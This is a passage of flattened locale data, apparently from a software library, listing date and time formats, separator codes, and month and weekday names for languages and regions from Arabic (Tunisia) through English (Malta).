;;;;;;;;;;;; - ;;;;;;;;;;;; - ي;ف;م;أ;و;ن;ل;غ;س;ك;ب;د; - كانون الثاني;شباط;آذار;نيسان;نوار;حزيران;تموز;آب;أيلول;تشرين الأول;تشرين الثاني;كانون الأول; - كانون الثاني;شباط;آذار;نيسان;نوار;حزيران;تموز;آب;أيلول;تشرين الأول;تشرين الثاني;كانون الأول; - ;;;;;;;;;;;; - الأحد;الاثنين;الثلاثاء;الأربعاء;الخميس;الجمعة;السبت; - الأحد;الاثنين;الثلاثاء;الأربعاء;الخميس;الجمعة;السبت; - ;;;;;;; - ;;;;;;; - أحد;اثنين;ثلاثاء;أربعاء;خميس;جمعة;سبت; - ح;ن;ث;ر;خ;ج;س; - - - Arabic - Tunisia - 1643 - 1644 - 1563 - 1642 - 48 - 45 - 43 - 101 - ص - م - EEEE، d MMMM، yyyy - d‏/M‏/yyyy - v h:mm:ss a - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ي;ف;م;أ;و;ن;ل;غ;س;ك;ب;د; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - ;;;;;;;;;;;; - الأحد;الاثنين;الثلاثاء;الأربعاء;الخميس;الجمعة;السبت; - الأحد;الاثنين;الثلاثاء;الأربعاء;الخميس;الجمعة;السبت; - ;;;;;;; - ;;;;;;; - أحد;اثنين;ثلاثاء;أربعاء;خميس;جمعة;سبت; - ح;ن;ث;ر;خ;ج;س; - - - Arabic - UnitedArabEmirates - 1643 - 1644 - 1563 - 1642 - 1632 - 45 - 43 - 101 - ص - م - EEEE، d MMMM، yyyy - d‏/M‏/yyyy - v h:mm:ss a - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ي;ف;م;أ;و;ن;ل;غ;س;ك;ب;د; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - ;;;;;;;;;;;; - الأحد;الاثنين;الثلاثاء;الأربعاء;الخميس;الجمعة;السبت; - ح;ن;ث;ر;خ;ج;س; - ;;;;;;; - ;;;;;;; - أحد;اثنين;ثلاثاء;أربعاء;خميس;جمعة;سبت; - ح;ن;ث;ر;خ;ج;س; - - - Arabic - Yemen - 1643 - 1644 - 1563 - 1642 - 1632 - 45 - 43 - 101 - ص - م - EEEE، d MMMM، yyyy - d‏/M‏/yyyy - v h:mm:ss a - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ي;ف;م;أ;و;ن;ل;غ;س;ك;ب;د; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - ;;;;;;;;;;;; - الأحد;الاثنين;الثلاثاء;الأربعاء;الخميس;الجمعة;السبت; - الأحد;الاثنين;الثلاثاء;الأربعاء;الخميس;الجمعة;السبت; - ;;;;;;; - ;;;;;;; - أحد;اثنين;ثلاثاء;أربعاء;خميس;جمعة;سبت; - ح;ن;ث;ر;خ;ج;س; - - - Armenian - Armenia - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - Առ․ - Եր․ - EEEE, MMMM d, yyyy - MM/dd/yy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Յունուար;Փետրուար;Մարտ;Ապրիլ;Մայիս;Յունիս;Յուլիս;Օգոստոս;Սեպտեմբեր;Հոկտեմբեր;Նոյեմբեր;Դեկտեմբեր; - Յնր;Փտր;Մրտ;Ապր;Մյս;Յնս;Յլս;Օգս;Սեպ;Հոկ;Նոյ;Դեկ; - ;;;;;;;;;;;; - Կիրակի;Երկուշաբթի;Երեքշաբթի;Չորեքշաբթի;Հինգշաբթի;Ուրբաթ;Շաբաթ; - Կիր;Երկ;Երք;Չոր;Հնգ;Ուր;Շաբ; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Assamese - India - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - পূৰ্বা - অপ - EEEE, d MMMM, yyyy - d-M-yyyy - h.mm.ss a v - h.mm. a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - জানুয়াৰী;ফেব্ৰুয়াৰী;মাৰ্চ;এপ্ৰিল;মে;জুন;জুলাই;আগষ্ট;সেপ্টেম্বৰ;অক্টোবৰ;নভেম্বৰ;ডিসেম্বৰ; - জানু;ফেব্ৰু;মাৰ্চ;এপ্ৰিল;মে;জুন;জুলাই;আগ;সেপ্ট;অক্টো;নভে;ডিসে; - ;;;;;;;;;;;; - দেওবাৰ;সোমবাৰ;মঙ্গলবাৰ;বুধবাৰ;বৃহষ্পতিবাৰ;শুক্ৰবাৰ;শনিবাৰ; - ৰবি;সোম;মঙ্গল;বুধ;বৃহষ্পতি;শুক্ৰ;শনি; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Azerbaijani - Azerbaijan - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Yanvar;Fevral;Mart;Aprel;May;İyun;İyul;Avqust;Sentyabr;Oktyabr;Noyabr;Dekabr; - yan;fev;mar;apr;may;iyn;iyl;avq;sen;okt;noy;dek; - ;;;;;;;;;;;; - bazar;bazar ertəsi;çərşənbə axşamı;çərşənbə;cümə axşamı;cümə;şənbə; - B.;B.E.;Ç.A.;Ç.;C.A.;C;Ş.; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 7;1;2;3;4;5;6; - - - Basque - Spain - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy'eko' MMMM'ren' dd'a' - yy-MM-dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - urtarrila;otsaila;martxoa;apirila;maiatza;ekaina;uztaila;abuztua;iraila;urria;azaroa;abendua; - urt;ots;mar;api;mai;eka;uzt;abu;ira;urr;aza;abe; - ;;;;;;;;;;;; - igandea;astelehena;asteartea;asteazkena;osteguna;ostirala;larunbata; - ig;al;as;az;og;or;lr; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Bengali - Bangladesh - 46 - 44 - 59 - 37 - 2534 - 45 - 43 - 101 - পূর্বাহ্ণ - অপরাহ্ণ - EEEE, d MMMM, yyyy - d/M/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - জা;ফে;মা;এ;মে;জুন;জু;আ;সে;অ;ন;ডি; - জানুয়ারী;ফেব্রুয়ারী;মার্চ;এপ্রিল;মে;জুন;জুলাই;আগস্ট;সেপ্টেম্বর;অক্টোবর;নভেম্বর;ডিসেম্বর; - জানুয়ারী;ফেব্রুয়ারী;মার্চ;এপ্রিল;মে;জুন;জুলাই;আগস্ট;সেপ্টেম্বর;অক্টোবর;নভেম্বর;ডিসেম্বর; - ;;;;;;;;;;;; - রবিবার;সোমবার;মঙ্গলবার;বুধবার;বৃহষ্পতিবার;শুক্রবার;শনিবার; - রবি;সোম;মঙ্গল;বুধ;বৃহস্পতি;শুক্র;শনি; - ;;;;;;; - ;;;;;;; - ;;;;;;; - র;সো;ম;বু;বৃ;শু;শ; - - - Bengali - India - 46 - 44 - 59 - 37 - 2534 - 45 - 43 - 101 - পূর্বাহ্ণ - অপরাহ্ণ - EEEE, d MMMM, yyyy - d/M/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - জা;ফে;মা;এ;মে;জুন;জু;আ;সে;অ;ন;ডি; - জানুয়ারী;ফেব্রুয়ারী;মার্চ;এপ্রিল;মে;জুন;জুলাই;আগস্ট;সেপ্টেম্বর;অক্টোবর;নভেম্বর;ডিসেম্বর; - জানুয়ারী;ফেব্রুয়ারী;মার্চ;এপ্রিল;মে;জুন;জুলাই;আগস্ট;সেপ্টেম্বর;অক্টোবর;নভেম্বর;ডিসেম্বর; - ;;;;;;;;;;;; - রবিবার;সোমবার;মঙ্গলবার;বুধবার;বৃহষ্পতিবার;শুক্রবার;শনিবার; - রবি;সোম;মঙ্গল;বুধ;বৃহস্পতি;শুক্র;শনি; - ;;;;;;; - ;;;;;;; - ;;;;;;; - র;সো;ম;বু;বৃ;শু;শ; - - - Bhutani - Bhutan - 46 - 44 - 59 - 37 - 3872 - 45 - 43 - 101 - - - སྤྱི་ལོ་yyyy ཟླ་ MMMM ཚེས་ dd - སྤྱི་ལོ་ yyyy ཟླ་ MM ཚེས་ dd - ཆུ་ཚོད་ h སྐར་མ་ mm སྐར་ཆཱ་ ss a vvvv - ཆུ་ཚོད་ h སྐར་མ་ mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - སྤྱི་ཟླཝ་དངཔ་;སྤྱི་ཟླཝ་གཉིས་པ་;སྤྱི་ཟླཝ་གསུམ་པ་;སྤྱི་ཟླཝ་བཞི་པ་;སྤྱི་ཟླཝ་ལྔ་པ་;སྤྱི་ཟླཝ་དྲུག་པ་;སྤྱི་ཟླཝ་བདུན་པ་;སྤྱི་ཟླཝ་བརྒྱད་པ་;སྤྱི་ཟླཝ་དགུ་པ་;སྤྱི་ཟླཝ་བཅུ་པ་;སྤྱི་ཟླཝ་བཅུ་གཅིག་པ་;སྤྱི་ཟླཝ་བཅུ་གཉིས་པ་; - ཟླ་ ༡;ཟླ་ ༢;ཟླ་ ༣;ཟླ་ ༤;ཟླ་ ༥;ཟླ་ ༦;ཟླ་ ༧;ཟླ་ ༨;ཟླ་ ༩;ཟླ་ ༡༠;ཟླ་ ༡༡;ཟླ་ ༡༢; - ;;;;;;;;;;;; - གཟའ་ཟླ་བ་;གཟའ་མིག་དམར་;གཟའ་ལྷག་པ་;གཟའ་ཕུར་བུ་;གཟའ་པ་སངས་;གཟའ་སྤེན་པ་;གཟའ་ཉི་མ་; - ཟླ་;མིར་;ལྷག་;ཕུར་;སངས་;སྤེན་;ཉི་; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Bulgarian - Bulgaria - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - пр. об. - сл. об. - dd MMMM yyyy, EEEE - dd.MM.yy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - я;ф;м;а;м;ю;ю;а;с;о;н;д; - януари;февруари;март;април;май;юни;юли;август;септември;октомври;ноември;декември; - ян.;февр.;март;апр.;май;юни;юли;авг.;септ.;окт.;ноем.;дек.; - ;;;;;;;;;;;; - неделя;понеделник;вторник;сряда;четвъртък;петък;събота; - нд;пн;вт;ср;чт;пт;сб; - ;;;;;;; - ;;;;;;; - ;;;;;;; - н;п;в;с;ч;п;с; - - - Burmese - Myanmar - 46 - 44 - 4170 - 37 - 4160 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ဇ;ဖ;မ;ဧ;မ;ဇ;ဇ;ဩ;စ;အ;န;ဒ; - ဇန်နဝါရီ;ဖေဖော်ဝါရီ;မတ်;ဧပြီ;မေ;ဇွန်;ဇူလိုင်;ဩဂုတ်;စက်တင်ဘာ;အောက်တိုဘာ;နိုဝင်ဘာ;ဒီဇင်ဘာ; - ဇန်;ဖေ;မတ်;ဧ;မေ;ဇွန်;ဇူ;ဩ;စက်;အောက်;နို;ဒီ; - ;;;;;;;;;;;; - တနင်္ဂနွေ;တနင်္လာ;အင်္ဂါ;ဗုဒ္ဓဟူး;ကြာသပတေး;သောကြာ;စနေ; - နွေ;လာ;ဂါ;ဟူး;တေး;ကြာ;နေ; - ;;;;;;; - ;;;;;;; - ;;;;;;; - တ;တ;အ;ဗ;က;သ;စ; - - - Byelorussian - Belarus - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - да палудня - пасля палудня - EEEE, d MMMM yyyy - d.M.yy - HH.mm.ss v - HH.mm - ;;;;травень;;;;;;;; - ;;;;тра;;;;;;;; - с;л;с;к;м;ч;л;ж;в;к;л;с; - студзень;люты;сакавік;красавік;май;чэрвень;ліпень;жнівень;верасень;кастрычнік;лістапад;снежань; - сту;лют;сак;кра;май;чэр;ліп;жні;вер;кас;ліс;сне; - ;;;;т;;;;;;;; - нядзеля;панядзелак;аўторак;серада;чацвер;пятніца;субота; - нд;пн;аў;ср;чц;пт;сб; - ;;;;;;; - ;;;;;;; - ;;;;;;; - н;п;а;с;ч;п;с; - - - Cambodian - Cambodia - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - ព្រឹក - ល្ងាច - EEEE ថ្ងៃ d ខែ MMMM ឆ្នាំ yyyy - d/M/yyyy - H ម៉ោង m នាទី ss វិនាទី​ v - H:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - មករា;កុម្ភៈ;មិនា;មេសា;ឧសភា;មិថុនា;កក្កដា;សីហា;កញ្ញា;តុលា;វិច្ឆិកា;ធ្នូ; - ១;២;៣;៤;៥;៦;៧;៨;៩;១០;១១;១២; - ;;;;;;;;;;;; - ថ្ងៃអាទិត្យ;​ថ្ងៃច័ន្ទ;ថ្ងៃអង្គារ;ថ្ងៃពុធ;ថ្ងៃព្រហស្បតិ៍;ថ្ងៃសុក្រ;ថ្ងៃសៅរ៍; - អា;ច;អ;ពុ;ព្រ;សុ;ស; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Catalan - Spain - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE d 'de' MMMM 'de' yyyy - dd/MM/yy - H:mm:ss v - H:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - g;f;m;a;m;j;j;a;s;o;n;d; - gener;febrer;març;abril;maig;juny;juliol;agost;setembre;octubre;novembre;desembre; - gen.;febr.;març;abr.;maig;juny;jul.;ag.;set.;oct.;nov.;des.; - ;;;;;;;;;;;; - diumenge;dilluns;dimarts;dimecres;dijous;divendres;dissabte; - dg.;dl.;dt.;dc.;dj.;dv.;ds.; - ;;;;;;; - ;;;;;;; - dg;dl;dt;dc;dj;dv;ds; - g;l;t;c;j;v;s; - - - Chinese - China - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - 上午 - 下午 - yyyy年M月d日EEEE - yy-M-d - ahh时mm分ss秒v - ah:mm - 一月;二月;三月;四月;五月;六月;七月;八月;九月;十月;十一月;十二月; - 一月;二月;三月;四月;五月;六月;七月;八月;九月;十月;十一月;十二月; - 1月;2月;3月;4月;5月;6月;7月;8月;9月;10月;11月;12月; - 1月;2月;3月;4月;5月;6月;7月;8月;9月;10月;11月;12月; - 1月;2月;3月;4月;5月;6月;7月;8月;9月;10月;11月;12月; - ;;;;;;;;;;;; - 星期日;星期一;星期二;星期三;星期四;星期五;星期六; - 周日;周一;周二;周三;周四;周五;周六; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 日;一;二;三;四;五;六; - - - Chinese - HongKong - 46 - 65292 - 65307 - 37 - 48 - 45 - 43 - 101 - 上午 - 下午 - yyyy年M月d日EEEE - yy年M月d日 - ahh时mm分ss秒v - ah:mm - 一月;二月;三月;四月;五月;六月;七月;八月;九月;十月;十一月;十二月; - 一月;二月;三月;四月;五月;六月;七月;八月;九月;十月;十一月;十二月; - 1月;2月;3月;4月;5月;6月;7月;8月;9月;10月;11月;12月; - 1月;2月;3月;4月;5月;6月;7月;8月;9月;10月;11月;12月; - 1月;2月;3月;4月;5月;6月;7月;8月;9月;10月;11月;12月; - ;;;;;;;;;;;; - 星期日;星期一;星期二;星期三;星期四;星期五;星期六; - 周日;周一;周二;周三;周四;周五;周六; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 日;一;二;三;四;五;六; - - - Chinese - Macau - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - 上午 - 下午 - yyyy年MM月dd日EEEE - yy年M月d日 - ahh时mm分ss秒v - ah:mm - 一月;二月;三月;四月;五月;六月;七月;八月;九月;十月;十一月;十二月; - 一月;二月;三月;四月;五月;六月;七月;八月;九月;十月;十一月;十二月; - 1月;2月;3月;4月;5月;6月;7月;8月;9月;10月;11月;12月; - 1月;2月;3月;4月;5月;6月;7月;8月;9月;10月;11月;12月; - 1月;2月;3月;4月;5月;6月;7月;8月;9月;10月;11月;12月; - ;;;;;;;;;;;; - 星期日;星期一;星期二;星期三;星期四;星期五;星期六; - 周日;周一;周二;周三;周四;周五;周六; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 日;一;二;三;四;五;六; - - - Chinese - Singapore - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - 上午 - 下午 - yyyy年M月d日EEEE - dd/MM/yy - ahh时mm分ss秒v - ahh:mm - 一月;二月;三月;四月;五月;六月;七月;八月;九月;十月;十一月;十二月; - 一月;二月;三月;四月;五月;六月;七月;八月;九月;十月;十一月;十二月; - 1月;2月;3月;4月;5月;6月;7月;8月;9月;10月;11月;12月; - 1月;2月;3月;4月;5月;6月;7月;8月;9月;10月;11月;12月; - 1月;2月;3月;4月;5月;6月;7月;8月;9月;10月;11月;12月; - ;;;;;;;;;;;; - 星期日;星期一;星期二;星期三;星期四;星期五;星期六; - 周日;周一;周二;周三;周四;周五;周六; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 日;一;二;三;四;五;六; - - - Chinese - Taiwan - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - 上午 - 下午 - yyyy年M月d日EEEE - yy-M-d - ahh时mm分ss秒v - ah:mm - 一月;二月;三月;四月;五月;六月;七月;八月;九月;十月;十一月;十二月; - 一月;二月;三月;四月;五月;六月;七月;八月;九月;十月;十一月;十二月; - 1月;2月;3月;4月;5月;6月;7月;8月;9月;10月;11月;12月; - 1月;2月;3月;4月;5月;6月;7月;8月;9月;10月;11月;12月; - 1月;2月;3月;4月;5月;6月;7月;8月;9月;10月;11月;12月; - ;;;;;;;;;;;; - 星期日;星期一;星期二;星期三;星期四;星期五;星期六; - 周日;周一;周二;周三;周四;周五;周六; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 日;一;二;三;四;五;六; - - - Croatian - Croatia - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, d. MMMM yyyy. - dd.MM.yyyy. - HH:mm:ss v - HH:mm - siječanj;veljača;ožujak;travanj;svibanj;lipanj;srpanj;kolovoz;rujan;listopad;studeni;prosinac; - ;;;;;;;;;;;; - s;v;o;t;s;l;s;k;r;l;s;p; - siječnja;veljače;ožujka;travnja;svibnja;lipnja;srpnja;kolovoza;rujna;listopada;studenoga;prosinca; - sij;vel;ožu;tra;svi;lip;srp;kol;ruj;lis;stu;pro; - ;;;;;;;;;;;; - nedjelja;ponedjeljak;utorak;srijeda;četvrtak;petak;subota; - ned;pon;uto;sri;čet;pet;sub; - ;;;;;;; - ;;;;;;; - ;;;;;;; - n;p;u;s;č;p;s; - - - Czech - CzechRepublic - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - dop. - odp. - EEEE, d. MMMM yyyy - d.M.yy - HH:mm:ss v - H:mm - leden;únor;březen;duben;květen;červen;červenec;srpen;září;říjen;listopad;prosinec; - 1.;2.;3.;4.;5.;6.;7.;8.;9.;10.;11.;12.; - l;ú;b;d;k;č;č;s;z;ř;l;p; - ledna;února;března;dubna;května;června;července;srpna;září;října;listopadu;prosince; - 1;2;3;4;5;6;7;8;9;10;11;12; - ;;;;;;;;;;;; - neděle;pondělí;úterý;středa;čtvrtek;pátek;sobota; - ne;po;út;st;čt;pá;so; - ;;;;;;; - ;;;;;;; - ;;;;;;; - N;P;Ú;S;Č;P;S; - - - Danish - Denmark - 44 - 46 - 44 - 37 - 48 - 45 - 43 - 101 - f.m. - e.m. - EEEE 'den' d. MMMM yyyy - dd/MM/yy - HH.mm.ss v - HH.mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - januar;februar;marts;april;maj;juni;juli;august;september;oktober;november;december; - jan;feb;mar;apr;maj;jun;jul;aug;sep;okt;nov;dec; - ;;;;;;;;;;;; - søndag;mandag;tirsdag;onsdag;torsdag;fredag;lørdag; - søn;man;tir;ons;tor;fre;lør; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;O;T;F;L; - - - Dutch - Belgium - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE d MMMM yyyy - d/MM/yy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - januari;februari;maart;april;mei;juni;juli;augustus;september;oktober;november;december; - jan;feb;mrt;apr;mei;jun;jul;aug;sep;okt;nov;dec; - ;;;;;;;;;;;; - zondag;maandag;dinsdag;woensdag;donderdag;vrijdag;zaterdag; - zo;ma;di;wo;do;vr;za; - ;;;;;;; - ;;;;;;; - ;;;;;;; - Z;M;D;W;D;V;Z; - - - Dutch - Netherlands - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE d MMMM yyyy - dd-MM-yy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - januari;februari;maart;april;mei;juni;juli;augustus;september;oktober;november;december; - jan;feb;mrt;apr;mei;jun;jul;aug;sep;okt;nov;dec; - ;;;;;;;;;;;; - zondag;maandag;dinsdag;woensdag;donderdag;vrijdag;zaterdag; - zo;ma;di;wo;do;vr;za; - ;;;;;;; - ;;;;;;; - ;;;;;;; - Z;M;D;W;D;V;Z; - - - English - AmericanSamoa - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, MMMM d, yyyy - M/d/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - ;;;;;;;;;;;; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - English - Australia - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, d MMMM yyyy - d/MM/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - ;;;;;;;;;;;; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - English - Belgium - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE d MMMM yyyy - dd/MM/yy - HH 'h' mm 'min' ss 's' v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - ;;;;;;;;;;;; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - English - Belize - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - dd MMMM yyyy - dd/MM/yy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - ;;;;;;;;;;;; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - English - Botswana - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE dd MMMM yyyy - dd/MM/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - ;;;;;;;;;;;; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - English - Canada - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, MMMM d, yyyy - yy-MM-dd - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - ;;;;;;;;;;;; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - English - Guam - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, MMMM d, yyyy - M/d/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - ;;;;;;;;;;;; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - English - HongKong - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, d MMMM yyyy - dd/MM/yyyy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - ;;;;;;;;;;;; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - English - India - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE d MMMM yyyy - dd/MM/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - ;;;;;;;;;;;; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - English - Ireland - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - a.m. - p.m. - EEEE d MMMM yyyy - dd/MM/yyyy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - ;;;;;;;;;;;; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - English - Jamaica - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, MMMM d, yyyy - M/d/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - ;;;;;;;;;;;; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - English - Malta - 46 - 44 